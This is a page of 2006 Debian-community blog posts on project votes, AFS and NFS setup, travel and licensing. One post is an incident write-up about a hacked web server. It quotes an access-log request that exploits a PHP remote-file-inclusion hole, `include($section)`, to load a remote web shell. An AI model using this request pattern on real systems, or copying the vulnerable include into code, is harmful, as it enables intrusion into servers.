Search Results: "dom"

8 October 2006

Andree Leidenfrost: Freedom vs. Engineering, Part II

Ingo: What you describe is still an engineering problem, not one of freedom. If you can't do it yourself, you could find someone to do it for you. The point is that all the bits and pieces are freely accessible.
If you truly believe that the dependencies on tmpfs and udev should only be recommends, then I think you should file bug reports against the affected packages.

PS: I've had trouble with package dependencies as a user myself. I've also had a bug filed against one of my packages where I did reduce a depends to a recommends. So, I think I understand where you are coming from and generally agree that dependencies can be a chore. My point is merely that this is not about freedom but about engineering.

PPS: Seems like the PS turned out as long as the post. ;-)

Jordi Mallach: We made it

I just came back home. I feel like I've been beaten up, my backbone is about to crack in two pieces, and I've been sodomized by a few people. But we made it. We've learned a few things in the process:
  1. Teruel-Val ncia arent 150 kilometres if you cycle through the V a Verde Ojos Negros and the Via Augusta. It is exactly 200.
  2. Full moon light is good enough to spots rocks and other obstacles on the patch ahead, but mixed with extreme sleepiness, its usefulness decreates significantly
  3. At some point, it doesn't matter if you cycle 150 or 200 kilometres. You just don't feel your legs that much. Also, you stop being sleepy, and could go on for more and more hours. I don't want to test the hard limits though. :)
Good night!

Andree Leidenfrost: RE: Being forced into non-freeness of choice by Debian packages

Ingo: Maybe I am a bit over-sensitive here, but whilst I feel your pain, your complaint is a pure engineering issue and has nothing to do with (software) freedom. You have all the freedom to take the software packages you mention and change them so you don't have to use udev or tmpfs.

Andree Leidenfrost: Debian Voting Galore

I've crawled out from underneath my Mondo Rescue stone and looked in bewilderment at the various vote messages in my inbox. (It's not quite as bad, I've followed things to some detail passively on private and planet.)

The main questions seem to be:
  • Is it good or bad to collect money to pay people for getting specific tasks done in Debian? Does involvement of the DPL in such an initiative constitute a conflict of interest?
Here is how I've voted and why:

a65763d3-b1e2-4530-8ff8-aa5915274eb4
[ 1 ] Choice 1: Re-affirm DPL, wish success to unofficial Dunc Tank
[ 2 ] Choice 2: Re-affirm DPL, do not endorse nor support his other projects
[ ] Choice 3: Further discussion

49a98df6-2bd4-40c8-a559-7e15212dbd26
[ ] Choice 1: Recall the project leader
[ 1 ] Choice 2: Further discussion

I think AJ is trying to improve things in Debian and that Dunc Tank is one attempt to do so. I believe it is a worthwhile attempt and can understand that he wants to be involved. While I also understand the concerns raised by other people, I believe that only time will tell whether Dunc Tank is in fact good or bad for Debian (I hope it's good). As far as the conflict of interest issue goes, I think it's less than ideal but the smaller evil to keep AJ as DPL whilst he's involved with Dunc Tank. I don't think AJ should run again if he stays involved in Dunc Tank as he is at the moment. I think that we need to consider integrating Dunc Tank into Debian if it is still alive and kicking in 12 months time. (Or to set up something similar as part of the project.)

c2d43675-9efa-4809-a4aa-af042b62786e
[ 1 ] Choice 1: Release Etch even with kernel firmware issues
[ 2 ] Choice 2: Special exception to DFSG2 for firmware as long as required [3:1]
[ ] Choice 3: Further discussion

22fc4edd-1f6c-454f-b204-6aa0bad0ce1d
[ ] Choice 1: DFSG #2 applies to all programmatic works
[ 1 ] Choice 2: Further discussion

I believe that we should indeed release Etch as planned even if that means shipping a number of firmware blobs. I do not think that an ongoing exception is appropriate here. If this is still not resolved by the time we want to release Etch+1, let's have an other GR.

I am not sure what "program" really means in DFSG #2 - I've always taken it to mean the software, documentation, fonts and artwork that we ship as part of Debian. It likely has to comprise more than that, but I am convinced there have to be some exceptions:
  • It defeats the purpose and very nature to modify licence texts. If people can change a licence at will, there is not much point having one in the first place.
  • It equally defeats the purpose to modify logos (and thus their representations as files of whatever format). Logos allow users to recognise more easily what content is available. It does not make sense to allow modification or use in a different context of such a logo as it would then be more confusing than helpful.*
I believe that these are just two examples of potentially many where 'free' versus 'non-free' are inadequate categories to think in.

Finally, the DFSG are part of the Social Contract and not the other way round. I like this because I value doing the best for our users higher than some rules. The DFSG exist to empower our users - I don't believe that removing firmware blobs from the kernel serves this purpose. That said, we should by all means strive towards free firmware, but I view this as more of an incremental, ongoing task of convincing vendors over time.

* I believe for example that the dispute over Firefox would be best resolved by Debian using the Firefox logo (and name) and the Mozilla folks dropping there requirement for patch review.

6 October 2006

Ian Murdock: Dunc Tank, Debian, and leadership

I’ve been asked by numerous people for my take on Dunc Tank, the latest “conspiracy” to roil the Debian waters. (Summary: Dunc Tank aims to raise funds to pay Debian developers to complete certain key projects, such as ensuring the next version of Debian, etch, is released on time.) My take is simple: The kind of childish sniping that has taken place over the past few weeks (which, as usual, seems to come from a small but extremely vocal corner of the community) does far more harm to Debian than any perceived monetary “taint”. It’s no wonder “the enterprise” doesn’t take Debian seriously. If anything, I’m encouraged by what I’ve seen lately, namely that Debian finally has strong leadership that’s willing to take necessary steps without fear of offending the mob of the few that often paralyzes these kinds of projects. Bravo, AJ. And keep at it. It takes a steely sort of person to stick their necks out like this, but strong leadership is absolutely essential to the success of any project, open source or otherwise. After all, success doesn’t just happen at random.

Andree Leidenfrost: Easy Peasy AFS on Debian

Bug #385790 prompted me to set up an AFS client on my sid installation. This is something I hadn't done since I left uni almost nine years ago. Back then it was a bit fiddly to get the Transarc AFS client for Linux to work if I remember correctly.

Things have quite obviously improved since then. The following is all that was required (with some helpful information provided by the submitter - thanks, Kevin!):
  • install packages openafs-modules-source and module-assistant
  • follow the instructions in /usr/share/doc/openafs-modules-source/README.modules, i.e:
    • module-assistant prepare openafs-modules
    • module-assistant auto-build openafs-modules
    • dpkg -i /usr/src/openafs-modules-.deb
  • install package openafs-client and configure like this:
    • leave AFS cell of workstation at default, i.e. local domain
    • leave cache at 50000 kb
    • leave DB server host for home cell blank
    • answer 'Yes' to 'Run Openafs client now and at boot?'
  • if this doesn't work, run dpkg-reconfigure openafs-client like this:
    • leave AFS cell of workstation at default, i.e. local domain
    • leave cache at 50000 kb
    • answer 'Yes' to 'Run Openafs client now and at boot?'
    • answer 'Yes' to 'Look up AFS cells in DNS?'
    • answer 'Yes' to 'Encrypt authenticated traffic with AFS fileserver?'
    • answer 'Yes' to 'Dynamically generate the contents of /afs?'
    • answer 'Yes' to 'Use fakestat to avoid hangs when listing /afs?'
    • leave DB server host for home cell blank
    • answer 'Yes' to 'Run Openafs client now and at boot?' (again)
  • ...and restart openafs-client afterwards
(The need to reconfigure may be a bug, not sure.)

In summary, OpenAFS and Sam Hartman's packaging effort make AFS a breeze to install on Debian!

Now all I have to do is find the time to fix the bug. ;-)

[Update] Important detail I forgot to mention: Open port 7001 on your firewall for UDP.
[Update] Added what to answer, i.e. 'Yes'. Doh.

5 October 2006

Jacobo Tarrío Barreiro: While I m talking about Fidonet

I mentioned Fidonet in my latest post, and that in the year 2000 I still cared about it. I think two years ago I still cared a bit, because with all the mad year-1997-web skills I could muster I made this jewel of a website: Welcome to FidoNot!. I’m plugging it because I will probably not renew the domain next year (this year I did it by mistake) so it’s almost your last opportunity to see it, and I’m quite proud of it in an evil way. You know, it brings evil smiles to my face when I think about it and all. And it’s actually been useful for someone: that someone was looking for animated rainbow thingies like the ones I put there, so… :-) (Plus, the time spent looking at that thing is not spent arguing in Debian lists or proposing resolutions.)

Zak B. Elep: Unexpected

There was no power again at the office today (thanks to my boss for sounding me while I was laying in bed ;) so I had a pretty free day today. This is the first of my Unexpected Series of Events (although, in retrospect, this is somewhat expected since we did lose power at the office yesterday, giving credence to Clair’s story…) So I spent a little more time in bed, trying to get sleep; but my Mom got me ony my feet, calling via landline all the way from Daet, which just got its power restored a few days prior. She told me that my Tita Mendy will be arriving tomorrow, and she’ll be carrying some of my things too. That’s the second Unexpected. After that I left the house to deposit my second paycheck from work and payment for my second semester at school. A quick trek back home for lunch, and a few pages of Even Grues Get Full after, I went to Robinsons Place to check mail for free (well, not really free since I usually pay for my cup of Java to have a reason for taking a table.) As I’ve come to expect of freebies, free WiFi in Robinsons is rather limiting, as it appears to only allow HTTP ,S connections (yeah, no Yahoo! even for the unenlightened masses!) The bandwidth, in fairness, is fairly decent, allowing for a good audio or video stream to pass through without much lag (as long as its from HTTP ,S .) However, today’s service was extra crappy, as it appears that the WiFi DHCP server went down, and I couldn’t acquire an IP address. It wasn’t much of a problem for me, though: last weekend allowed me to spend a lot of my time hanging out in the place as it was the only place nearby to have seemingly continuous DC power (the storm that passed over pretty much knocked down normal AC power everywhere,) and also gave me an excuse to explore the WiFi network, letting me know such minutiae as the right IP address block and gateway Robinsons Free WiFi used. Hence, even without DHCP, I was able to configure Perlis to connect via a statically-randomly-chosen-by-magic-255-ball IP address. This wasn’t Unexpected. What was Unexpected was what happened next: as I was surfing the Web, I noticed that the other folks nearby were having difficulties accessing the free WiFi; of course, they didn’t have the information (that I had known by simply being observant) that they needed. Nearest to my table were a couple of Korean-looking foreigners and a doctor-looking guy inquiring each other if they were able to connect. I went near them and asked them about it too. Yeah, my deductions were correct; the foreigners (hello, Emma and Jay) were Korean students learning English, the guy (hello, Charlie Atienza) was a dentist, and all of them couldn’t connect to the Net. Windows was choking up on them, since it could not acquire an IP address. So, needless to say, I came to the rescue, and within a few minutes (which included trying to change the Korean’s locale settings to Engrish, which we eventually gave up, and forcing me to hibernate Kubuntu and booting to Windows just to find the right Network Settings menu, duh) I got them to have a working, albeit laggy, internet. I couldn’t get Charlie’s laptop working though, since it seemed to suffer another problem althogether :/ At any rate, meeting new people over this problem was by itself quite Unexpected, but that wasn’t the only thing: Charlie noticed my Kubuntu desktop earlier and recognized it immediately as open source. It turns out that Charlie have seen FOSS operating systems in action via Knoppix, and he knows Dr. Alvin Marcelo (of CHITS fame) and Eric Pareja, and is also quite involved in bioinformatics too. Small world indeed! =) I guess having no power at the office makes for a good adventure, after all. Well, yesterday was quite an adventure in itself (Clair can tell you all that, and more :P ) Today, however, was pretty much very Unexpected, and indeed I’m thankful that so many surprises come my way. The last Unexpected: I forgot to update my phone number on the calling cards I gave away today. :P Oh well…

4 October 2006

Clint Adams: If she were a proctologist, she would have noticed that he was a giant anus

He rattled on, She's half-Turkish and half-Spanish--as in Spain. She grew up in the Dominican Republic but went to American schools there, so she has no accent. She's 6 feet tall, which means she's on my level, but when she puts on heels she's taller than me. She's very, very pretty... it's hard not to be when you're half Turkish and half Spanish and athletic... and to boot... here's the kicker... she's a doctor. Is she a proctologist? she inquired. Ha, no, he replied, but her subspecialty is GI. She did offer to perform my next colonoscopy. Wait, she said. Your next colonoscopy? Something about that seems so wrong. No girl who wants to sleep with you should be itching to see the inside of your intestines. So, anyway, he continued, she's got a wicked sense of humor and happens to love the opera. She's great elbow candy. Really, what this means is that I'm setting myself up for a big disappointment. I dunno, she said. The potato girl still seems like she was the prime catch. Opera schmopera. Oh, god, he groaned. You are so many years out of the loop. The potato chip girl? Beth? You realize that our daughter turned 10 on Sunday? Holy shit! she exclaimed. 10! Yeah, he grunted. I'm old! No, no, she insisted. You're not old. Just your children are.

3 October 2006

Evan Prodromou: 11 Vend miaire CCXV

October is a busy month for us. October 14th is my birthday, and October 16th is our wedding anniversary. On our honeymoon in 2004, we took a trip to wt:Charlevoix at the mouth of the Saguenay fjord in Quebec. Then, in October 2005, Amita June had just been born, so we took a short trip to Ottawa for the weekend. At this point, I think we've established an anniversary tradition of short weekend trips to cities in Eastern Canada. This year, Maj started arranging a trip to St. John's in Newfoundland. I'm pretty fascinated by wt:Newfoundland -- it's one of the oldest settlements in North America, yet very isolated. Its culture is a unique blend of Celtic, English, and a smattering of French Canadian with an idiosyncratic accent and great music. But St. John's is just too remote for a relaxing, romantic anniversary weekend. We kept trying to find easier ways to get there, and nothing was working out. So we decided to save Newfoundland for a spring trip. My crazy-cuckoo dream is to drive from Montreal to Labrador City and then out to Goose Bay in Labrador on the mainland, take the ferry to Newfoundland, drive around a bit there, then back to Montreal on a car ferry. Good trip, eh? So, we decided to take things a little easier and go to another part of Canada. We've wanted to visit wt:Halifax for a long time, and now it looks like it's going to work out. It's only 1-1/2 hours by plane from Montreal, and it's supposed to be a very charming, fun city. I got good deals on Air Canada for the two of us, plus baby, and we're staying at the posh Lord Nelson hotel in the middle of town. Even though it's the "Splurge" hotel on the Wikitravel Sleep section, I was able to get a discount with my CAA card that makes the price just about acceptable for a special occasion weekend. Now we have to plan what to do when we get there. We've only been to Nova Scotia once, and that was just a jaunt across the border from New Brunswick for kcks. I'm going to pore over the Wikitravel and World66 articles to see what I can come up with, and hopefully do some research while we're on the road. Really, that's the best part for me. I probably shouldn't look so far ahead -- we've got Hudson (New York) still to do this weekend. Like I said, a busy month! tags:

Free Books I've been planning to go to the local Wiki Wednesday here in [wt:Montreal], so I was reviewing the Montreal Wiki Wednesday page for previous events. Although we've made it to a few of the previous ones, we definitely haven't made it to all the ones we said we would... so be it. One of the previous speakers was Hugh McGuire, a Montrealer who started an excellent project called Librivox. Librivox is a project to create free audiobooks, with chapters contributed over the Internet by readers around the world. They take books from Project Gutenberg (which is apparently a MediaWiki wiki site now... who knew?) and volunteers read them and then the whole thing gets munged into a nice little package. Everything stays in the public domain (bless their generous souls) and they even have a Librivox podcast just in case you swing that way. I'm super-hot for audio books. I love listening to them while driving, especially for long road trips. Maj is lukewarm on the idea, but she occasionally gets into them when we've got a good book going. The big downside is that they're ridiculously expensive -- $50+ for some books. The only thing that bothers me a bit about Librivox is that there arent CD Audio ISOs available. We have an MP3 CD player in our car, and I think it should work fine, but for sharing it's awful nice to have real CDs. UPDATE (from Hugh): There are mp3 ISOs available here: LibriVarc, but no aiff files. mega storage space, bandwidth and transfer problems to do that, but if anyone is interested in providing such CDs, or helping manage such a project, we'd love to know about it. tags:

BarCampMontreal And while drifting through Hugh McGuire's blog, what do I see but a link to the newly-announced BarCampMontreal -- the first BarCamp to happen here in The City Without a Nickname. I had thought that the loose plan was to do a BarCamp to coincide with RecentChangesCamp in May 2007, but this plan seems more impetuous and uninhibited -- just like a BarCamp. There are just too many people to invite here in Montreal, though... we have something like 20 Debian developers, a whole passel of bloggers and wikitistas, lots of games developers and folks like that. Lots of work before the big weekend. Did I mention that October is a busy month? tags:

Day against DRM And look at that... October 3 is the Day against DRM per Defective by Design. A new DRM info clearinghouse, cleverly named drm.info, launched today, too. I've been in the weird situation lately of fighting against over-protectiveness w/r/t DRM in the Creative Commons licenses, when in fact I think DRM is twisted and dumb. It's a bill of goods being sold to entertainment companies by shady technology groups, it's rarely effective, and its only value is to punish law-abiding citizens. It's gotta go. A passionate and profanity-laced article I wrote about DRM coders for Pigdog Journal was linked from ars technica and BoingBoing last year. Although my writing style is a bit different (cough cough) than it once was, I still feel the same about DRM: a shameful and hostile way for technologists to treat each other. tags:

Are you experienced? So, I like the TV show Lost a lot, but I had no idea about this immersive alternate reality game The Lost Experience. Seems like just the kind of intense investigation game to keep losties busy for the entire summer. (You know, while they weren't trying to figure out the truth about lonelygirl15.) I'm not really that into figuring this stuff out, but I do enjoy reading the details once people have worked them through. tags:

Evan Prodromou: 10 Vend miaire CCXV

Two of our good friends here in Montreal are Kate and Morgan. She's a Ph.D. student in philosophy at Rutgers, working on her dissertation here, and he's a game designer. They're from Australia originally, and they just got married Down Under about 4 weeks ago. Her dad and stepmom live in North America, though, so they're thoughtfully holding a wedding party next weekend for Kate and Morgan's American friends and family at their home in wt:Hudson (New York). We've driven through the area a few times in the past, but we haven't really stopped for long. From what Kate says, Hudson's a pretty town and early October means lots of leaf-peeping opportunities. Not that Montreal's any slouch in that respect right now, but it will be nice to see other people's leaves, I guess. There's also a Firefighter Museum and a Shaker Museum. I also just finished The Island at the Center of the World, a historical book about the 17th-century Dutch colony of New Netherlands (now New York). The main settlements were in the Hudson Valley between Manhattan and Albany (New York), so I'd like to find a nice one to stop at and look around. The drive down is about 4-1/2 hours, and I think we'll be OK doing it in one hop, even with the baby strapped down in the back seat. We're heading out on Friday evening, spending Saturday checking out the sights, then parties on Sunday and Monday (a holiday, Columbus Day, in the US). Monday night Maj got us tickets to see Massive Attack here in Montreal, so we'll be zooming back up highway 87 Monday afternoon and if we can avoid problems at the border in wt:Plattsburgh we'll be rockin' out (a bit) that evening. tags:

Parallel distrihoozit The discussions on the cc-licenses list over the last week have gotten increasingly heated. At heart is the very emotional issue of DRM (AKA TPM) technology, and to what extent its use is compatible with Open Source and Open Content. It's been a real shame -- several pages-long posts that really try to hammer a point into the head of someone who's just not listening since they're busy writing their own 10-page-long email. It's become impossible to read and some wiser heads have asked for a cooling-off period. Thankfully so. There is very little time left to continue this discussion. I really sincerely hope that people who are interested in seeing Commons licenses that are compatible with Debian and other Free Software pop in and say something to that effect. Cool heads who can state things in simple English are particularly welcome. The list allows posting to subscribers only -- kind of a damper on one-time posts -- but subscription only takes a second, and you can disable your subscription immediately after you're done. tags:

Busy Wednesday Ahead 2007 is going to be the year of wiki in Montreal. We're having two of the main wiki conferences -- RecentChangesCamp and Wikisym -- here in Montreal next year. And I guess it's time for the local wiki, open source, open content and "open other" community to start getting ready. At least in the wiki world we're taking the first steps. Wednesday 4 October (uhh... I mean, Duodi 12 Vend miaire) we're having Montreal Wiki Wednesday at 8655 rue St-Denis (metro Cremazie). Alain Desilets and Sunir Shah, who are both working on Wikisym, will be coming, as well as Anne Goldberg (principal organizer of RCC) and the inimitable Seb Paquet, who runs everything in this town. 15h-18h, fun times ahead. tags:

CC Salon Montreal But wait there's more! On top of WW, we're going to have a big Creative Commons Salon Montreal on Wednesday night, too. This will be the second time we've had a get-together in Montreal for CC so far, and I think it's going to be a good one. Maj and I are going to give an informal talk about Wikitravel and its CC license which has worked so well for us. I'm really gung-ho on the CC Salon idea. It's a great way to engage the interesting, fun part of CC -- and it's all about the fun, right? CC Salon Montreal is happening 4 Oct at 18:30h at L'am re boire, 2049 rue St. Denis (a mere 66-block walk from Wiki Wednesday!). Should be a good time. (On top of all this, I'll probably stop at YULblog on the way home, just to make the Web maven's trifecta for the night. tags:

2 October 2006

Erich Schubert: More on tagclouds

Tag clouds are usually done by scaling font sizes according to some weight. Actually this is not very precise. For a representative representation (lol, I should get this domain name. representative-representation.com), the tag size - that is the surface area! - should be a representation of the tags weight. The suface however doesn't directly depend on the font size, but is more like font size * length of word (length being appropriate for the font used). So when displaying tags with very different font sizes, "egg" and "Technorati" shouldn't just be scaled by their weight, but also by their word length. OTOH, few users will actually be able to "grasp" the actual difference in size. IMHO it's just about "popular" vs. "obscure" and about making the tool more intersting to use.

Lars Wirzenius: Random thought: It's not junk if someone else wants it

I wonder if anyone is organizing swap meets for computer stuff in the Helsinki area, and if not, whether anyone would like to organize one. Perhaps in Otaniemi, which probably has the highest concentration of computer geeks in the country, and therefore the highest concentration of lots of junk piled in corners, waiting for the day it becomes useful. Couldn't find anything in a few minutes most-popular-search-engining. I'm looking at my own corners, and there's a few things I might want to get rid of...

1 October 2006

Joachim Breitner: Hosting PHP proven harmful

I happen to have my own root server, and since there are always resources left, I did not mind hosting some other people's pages as well. I especially offer all the final classes of my school to host their website, to keep up a consistent domain naming scheme, starting with my own class page, http://04.abi-sgh.de/. This was a nice services to the following classes, as the amout of pictures such a class generates usually exeeds regular hosting constraints. Custom programmed websites, like mine and some more, are nice too.Now, today, my web server was not running. I tried to restart it, but port 443 was used, and I thought: "WTF"? netstat showed my a process with the strange name of "mysqld_" sitting on that port. ls -l /proc/.../cmd showed a binary named "httpd" in a path "/var/www/...(very deep)/.../.ssh/". Now it dawned me: Someone hacked my server.A quick "ls -l" in that directory indicated that it was done as the www-data server, and probably no root was gained. There were also two DVD rips laying around, so my server seemd to have been turned in to a movie sharing platform. The "httpd" binary, as "strings" confirmed, is a IRC-fileshareing server called iroffer, and a tool to hide processes was in that directory too.Luckily, the attackers did not hide their traces too well. The date of the "..." directory gave me the exact time of the attack, and around that time, entries like this one appeared in the access.log:
62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/
cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224
"http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?&
action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1
Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.

30 September 2006

Evan Prodromou: 7 Vend miaire CCXV

NewsForge has a very good overview of the problems with Creative Commons licenses for Debian. In particular it covers the work that myself and members of the Debian Creative Commons Workgroup did to bring the CCPL into compliance with the Debian Free Software Guidelines. It also tells about how we had a draft version of the license that was DFSG-compatible, but how that was unfortunately changed. (More info at the Debian Creative Commons Workgroup report.) How are things going with the public review process? Not so well. The main sticking point remains "parallel distribution", which was part of the previous draft license we reviewed, but which was pulled. People have some very emotional reactions to DRM, and they tend to sacrifice developers' and users' freedom in their quest to "Stop DRM!!!!1!". Please, if you are at all interested in seeing DFSG-compatible versions of the Creative Commons Attribution (BSD-like) and Attribution-ShareAlike (copyleft) licenses, let people inside Creative Commons know. The cc-licenses mailing list is the main conduit for public feedback on the next generation of the licenses. Even an email that says, "I want the Creative Commons licenses to be compatible with the Debian Free Software Guidelines." would help tremendously. tags:

29 September 2006

Edd Dumbill: Locking down portmap on Debian

Most sensible people are very wary of NFS and its potential for security holes. If you can at all help it, it's a good idea not to run NFS and portmap on a network interface with direct internet connectivity. However, this isn't always convenient. As I needed to have NFS sharing on a host exposed to the internet, I set about finding the various places I needed to firewall. The tools I typically use to verify I've done the right things are netstat -nap on the machine concerned, to check for listening processes, and nmap from remote hosts to sniff for open ports. Portmap and its associated programs mostly use 'tcpwrappers' for controlling access. The first step you ought to take in securing portmap is to ensure that your hosts.allow and hosts.deny files are set up to control access properly. In /etc/hosts.deny, deny access to allcomers:
mountd: ALL
statd: ALL
portmap: ALL
rquotad: ALL
Then in /etc/hosts.allow, let the good guys through (adjust for your network):
mountd: 192.168.0.
statd: 192.168.0.
portmap: 192.168.0.
rquotad: 192.168.0.
On top of this, however, you should firewall off the ports that these programs use. As I found out, this is not as easy as it sounds. Portmap assigns random ports for some of the services it starts. You can run rpcinfo -p to see the ports in use. An example run on one of my machines looks like this:
program vers proto   port
 100000    2   tcp    111  portmapper
 100000    2   udp    111  portmapper
 100003    2   udp   2049  nfs
 100003    3   udp   2049  nfs
 100003    4   udp   2049  nfs
 100003    2   tcp   2049  nfs
 100003    3   tcp   2049  nfs
 100003    4   tcp   2049  nfs
 100021    1   udp  32770  nlockmgr
 100021    3   udp  32770  nlockmgr
 100021    4   udp  32770  nlockmgr
 100021    1   tcp  32788  nlockmgr
 100021    3   tcp  32788  nlockmgr
 100021    4   tcp  32788  nlockmgr
 100005    1   udp   1005  mountd
 100005    1   tcp   1008  mountd
 100005    2   udp   1005  mountd
 100005    2   tcp   1008  mountd
 100005    3   udp   1005  mountd
 100005    3   tcp   1008  mountd
 100024    1   udp    863  status
 100024    1   tcp    866  status
Of these, nfs and portmapper always use the same ports, 2049 and 111, so ensure you block off these. What about the rest? Happily, there's a way to configure them to use constant ports so we can reliably firewall them. Life would be too easy if all this configuration was in the one place, so here's how to find the different places you need to change. Finally, if you're running quotas, be sure to do something similar with RPCRQUOTADOPTS in /etc/default/quota. See also: Finally, I ought to note that I've written this up in case it helps anybody else. As with everything I write here, I make no warranty about its accuracy. Security is hard and obscure (but that's no reason not make our best efforts!)

28 September 2006

Biella Coleman: The Silence of Failure in Silicon Valley

After about 6 months of initial research in the Bay Area, I had to make a choice over the future direction of my more directed fieldwork. Would my project be on Silicon Valley, its religious fervor for the exuberant technology start-up, with the geek entrepreneur (probably with some affiliation with Standford) at its center stage, or would it be more broadly about free software and the culture of geekdom? I chose the later, for various reasons, but I think I wanted to write a dissertation that did not bleed with cynicism but instead flowed and flowered with a lot more joy than could have been possible if I had stayed within the grasp of the start-up and the venture capitalist. That said, I learned a lot about SV, took a lot of notes, and read most anything I could get my hands on whether the work of San Jose Anthropologist,Jan English-Lueck or published in magazines like Mother Jones, Harpers, and even the National Geographic. One of the luminaries that writes about SV from a cultural perspective is Paulina Borsook. And she is fine writer who admittedly has ticked me of on occasion (to be precise because she collapsed too much of geek culture into that of the specific SV world in Cyberselfish, which at the time I found almost personally offensive, probably more than it should have). Today I just came across a short, older but very illuminating piece of hers The Disappeared of Silicon Valley (or why I couldn’t write that piece) which is as much about the limits of historical representation in general as it specifically about the failings of start-ups in SV at the end of the recent boom and bust cycle. So her goal was simple enough: To find people involved in starting new high-tech whose companies had died.. and to find them to get a more visceral and cultural window into this experience. But it was a near to impossible task. Despite her impeccable record with confidentiality and a far flung social network, she could not get anyone talk about these ostensible failures. There has been a good amount of writing on the limits of historical representation because the archive or what comes to be the archive is a function of power and it is usually the powerless who are left out, as the work of Michel-Rolph Trouillot has so eloquently shown. But while it is true that some CEO of a dethroned corporation may be powerless in some sense of the word, it is not what we associate with the word. But in fact, the power of stigma of failure in a region that magnifies an already well-develiped cultural fetish of success (especially, I imagine, among male graduates, of places like Stanford Buisiness School), is enormous, so much so, that it seems one can only write about the experience, as Barsook has done so well, through the reality of a lack, through silence.

Jon Dowland: WIP

After my last post bemoaning the negativity on planet, psn suggested that perhaps I should post something positive. So here's what I'm working on at the moment. First and foremost I suppose is debconf7. Initially I've basically been playing secretary to meetings. More recently, due to the list of complaints collectively known as "NoJune", I've been doing my best to investigate the possibility of moving the provisional dc7 booking date forward in time a week or two, towards July. After several discussions staring at the time table and what info we had about other bookings, followed by several phone calls with the venue, I unfortunately have basically confirmed that the entirety of July and the last week of June are not open to us at all, so there's no way we can move the date. My other main activity in Debian at the moment is as a member of the Debian Games Team, where I'm mainly working on doom-related packages in order to implement my world domination plans. Due to the impending freeze I've been trying to work out what of the plan I can implement and get packages uploaded so that the Etch doom experience is as good as possible.

Lars Wirzenius: Random thought: Rockbox fonts

I installed some extra fonts to my Rockbox installation in my iPod, and now I have a nicer user experience. Happy now. Rockbox really rocks.

Evan Prodromou: 5 Vend miaire CCXV

Being an inveterate domain-name registerer, I've got a lot of domains sitting around doing nothing. I've only recently stumbled across Bruce Perens's Open Source Parking site. It's a clever idea -- transferring those parked domains on GoDaddy and other registrars to a page with ads for FOSS projects. tags:

Adieu John Our friend John Usher bugged out to wt:Banff today. He's off to the Banff Centre to finish up the research he did on his Ph.D. and do some more work on goofy, crazy audio projects in the healthsome mountain air. According to John, it's really nice at the Centre, but if you go outside you have to clap all the time to keep grizzly bears away. I'm not sure if that's for real or just a prank that the locals play on visiting scientists. John's been here a few weeks -- it was really good to have him. Our apartment is just a bit too big, and I've enjoyed the space most when we have a friend or relative staying in the guest bedroom. I think in the year or so that we've lived here it's been occupied about 30-40% of the time. I know Amita June will miss having Mononc John around. They get along really well, and I was hoping that AJ would pick up some UK turns of phrase like "tickety-boo" and "manky". I'm particularly charmed by the English use of the word "cheers", which seems to be analogous to the way like Hawaiians use "aloha"; it means hello, good bye, thank you, and Mmmm! Beer!. A fine word used by fine people. tags:

Postfix fix Over the last few days I've been tightening down on the amount of spam I get in my Inbox by trying to cut it off at the MTA (mail server) level. I have a lot of different email addresses, and I use a mix of mail forwarding and multiple IMAP or POP3 inboxes to bring everything together into one nice little bundle. I do some Bayesian filtering on the client side, and I have a call to use Vipul's Razor in my .procmailrc files, but it's great to filter this stuff further up the data path, too. Fortunately the three servers that get me the most mail all run Postfix. Postfix has some nice common-sense features that cut down on spam right out of the box. First, I made sure all three servers used wp:DNSBL lists to block open relay servers. Second, I added some checks for validity on sender address domain and domain in the HELO command. Finally, I added a filter to check the Sender Policy Framework to see if the connecting server is authorized to send mail for the sending address's domain. Of the three changes, I've found that the basic checks -- making sure that sender address domains and HELO hostnames are valid -- are blocking the most mail. But the other two kinds of checks help, too. This all came not a moment too soon, as the wikitravel.org mail server seems to be under another DDOS attack. Check out the numbers on the mail that's queued versus what's getting rejected!
evan@antipater:~$ sudo grep NOQUEUE /var/log/mail.log.0   wc -l
119150
evan@antipater:~$ sudo grep qmgr.*removed /var/log/mail.log.0   wc -l
590
Gee, three orders of magnitude difference... I'm getting about 50-50% on other servers. This is over the last 24 hours or so -- what a huge waste of time. tags:

Next.

Previous.